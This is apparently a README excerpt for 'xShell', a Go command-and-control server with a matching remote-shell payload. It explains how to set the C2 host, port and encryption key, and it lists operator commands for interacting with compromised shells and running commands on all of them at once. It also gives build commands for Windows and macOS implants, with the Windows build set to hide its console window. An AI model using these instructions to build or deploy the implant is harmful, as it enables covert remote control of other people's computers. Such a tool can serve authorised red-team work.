- Commands are executed by workers
- Workers are goroutines that simply execute the commands
- All workers are indexed in a worker map
- Workers are dynamically allocated based on workload
- Beacon workers are responsible for callbacks
In c2/c2.go:
var Port string = "" // change port here
var Key string = "" // set encryption key here (must match key in payload)
go run c2/c2.go
If listening on a protected port (any port under 1024) use sudo:
sudo go run c2/c2.go
shells - list all active shells
shell <shell_name> - interact with specifc shell
mexec <command> - executes command on all shells
clear - clears console
quit - shuts down C2
exit - return to main menu (shell continues to run)
In payload/xShell.go:
var KeyStr string = "" // must be 16, 24, 32 bytes
var C2Host string = "" // set C2 host ip or hostname (must start with https://)
GOOS=windows GOARCH=amd64 go build -ldflags "-H 'windowsgui' -w -s" -o xShell.exe payload/xShell.go # for Windows 64bit amd64
GOOS=darwin GOARCH=amd64 go build -ldflags "-w -s" -o xShellosx payload/xShell.go # for macOS 64bit amd64
Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0)